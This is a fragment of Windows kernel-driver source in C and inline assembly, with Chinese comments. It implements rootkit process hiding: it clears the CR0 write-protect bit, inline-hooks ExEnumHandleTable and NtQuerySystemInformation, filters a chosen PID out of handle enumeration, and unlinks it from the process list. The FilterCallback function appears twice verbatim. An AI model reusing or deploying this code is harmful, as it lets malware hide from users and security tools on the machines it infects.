BOOL FilterCallback (
DWORD HANDLE_TALBE_ENTRY,
DWORD PID,
PVOID Param )
{
if ( PID != (DWORD)ProtectID) //判断是否是我们要隐藏的进程
{
return OldCallback (
HANDLE_TALBE_ENTRY,
PID,
Param );
}
else
{
return FALSE; //是的话直接返回
}
}
BOOL FilterCallback (
DWORD HANDLE_TALBE_ENTRY,
DWORD PID,
PVOID Param )
{
if ( PID != (DWORD)ProtectID) //判断是否是我们要隐藏的进程
{
return OldCallback (
HANDLE_TALBE_ENTRY,
PID,
Param );
}
else
{
return FALSE; //是的话直接返回
}
}
VOID NewExEnumHandleTable(
PULONG HandleTable,
PVOID Callback,
PVOID Param,
PHANDLE Handle OPTIONAL )
{
OldCallback = Callback; //把Callback参数给OldCallback进行保留
Callback = FilterCallback; //用FilterCallback替换调原来的Callback
_asm //还原
{
pushad
mov edi, OldExEnumHandleTable
mov eax, dword ptr ResumCodeExEnumHandleTable[0]
mov [edi], eax
mov ax, word ptr ResumCodeExEnumHandleTable[4]
mov [edi+4], ax
popad
}
OldExEnumHandleTable (
HandleTable,
Callback,
Param,
Handle OPTIONAL );
_asm //替换
{
pushad
mov edi, OldExEnumHandleTable
mov eax, dword ptr CrackCodeExEnumHandleTable[0]
mov [edi], eax
mov ax, word ptr CrackCodeExEnumHandleTable[4]
mov [edi+4], ax
popad
}
return ;
}
NTSTATUS PatchExEnumHandleTable()
{
NTSTATUS Status;
OldExEnumHandleTable = (EXENUMHANDLETABLE) GetFunctionAddr(L"ExEnumHandleTable");
if ( OldExEnumHandleTable == NULL )
{
DbgPrint("Get ExEnumHandleTable Addr Error!!");
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
_asm //关中断
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
_asm
{
pushad
//获取ExEnumHandleTable函数的地址并保留该函数的起始六个字节
mov edi, OldExEnumHandleTable
mov eax, [edi]
mov dword ptr ResumCodeExEnumHandleTable[0], eax
mov ax, [edi+4]
mov word ptr ResumCodeExEnumHandleTable[4], ax
//构造要替换的代码,使得系统调用该函数时跳到我们构造的NewExEnumHandleTable去执行
mov byte ptr CrackCodeExEnumHandleTable[0], 0x68
lea edi, NewExEnumHandleTable
mov dword ptr CrackCodeExEnumHandleTable[1], edi
mov byte ptr CrackCodeExEnumHandleTable[5], 0xC3
//把构造好的代码进心替换
mov edi, OldExEnumHandleTable
mov eax, dword ptr CrackCodeExEnumHandleTable[0]
mov dword ptr[edi], eax
mov ax, word ptr CrackCodeExEnumHandleTable[4]
mov word ptr[edi+4], ax
popad
}
_asm //开中断
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
Status = RepairNtosFile(
(DWORD)OldExEnumHandleTable,
(DWORD)(&CrackCodeExEnumHandleTable) );
return Status;
}
NTSTATUS NewNtQuerySystemInformation(
IN ULONG SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL )
{
NTSTATUS Status;
DWORD Bprocess;
_asm
{
pushad
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr ResumCodeNtQuerySystemInformation[0]
mov [edi], eax
mov ax, word ptr ResumCodeNtQuerySystemInformation[4]
mov [edi+4], ax
popad
}
Status=OldNtQuerySystemInformation (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength OPTIONAL );
_asm
{
pushad
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
mov [edi], eax
mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
mov [edi+4], ax
popad
}
if ( Status != STATUS_SUCCESS || SystemInformationClass!=5 )
{
return Status;
}
_asm
{
pushad
mov ecx, ProtectID
mov edi, SystemInformation
ProcessListNEnd:
mov Bprocess, edi
mov eax, [edi]
test eax, eax
jz ProcessListEnd
add edi, eax
mov eax, [edi+0x44]
cmp eax, ecx
jz FindOut
jmp ProcessListNEnd
FindOut:
mov ebx, [edi]
test ebx, ebx
jz listend
mov eax, Bprocess
mov edx, [eax]
add ebx, edx
mov [eax], ebx
jmp hideOK
listend:
mov eax, Bprocess
mov [eax], 0
hideOK:
ProcessListEnd:
popad
}
return Status;
}
NTSTATUS PatchNtQuerySystemInformation ()
{
NTSTATUS Status;
OldNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION) GetFunctionAddr(L"NtQuerySystemInformation");
if ( OldNtQuerySystemInformation == NULL )
{
DbgPrint("Get NtQuerySystemInformation Addr Error!!");
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
_asm //关中断
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
_asm
{
pushad
//获取 NtQuerySystemInformation 函数的地址并保留该函数的起始六个字节
mov edi, OldNtQuerySystemInformation
mov eax, [edi]
mov dword ptr ResumCodeNtQuerySystemInformation[0], eax
mov ax, [edi+4]
mov word ptr ResumCodeNtQuerySystemInformation[4], ax
//构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtQuerySystemInformation去执行
mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68
lea edi, NewNtQuerySystemInformation
mov dword ptr CrackCodeNtQuerySystemInformation[1], edi
mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3
//把构造好的代码进心替换
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
mov dword ptr[edi], eax
mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
mov word ptr[edi+4], ax
popad
}
_asm //开中断
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
Status = RepairNtosFile(
(DWORD)OldNtQuerySystemInformation,
(DWORD)(&CrackCodeNtQuerySystemInformation) );
return Status;
}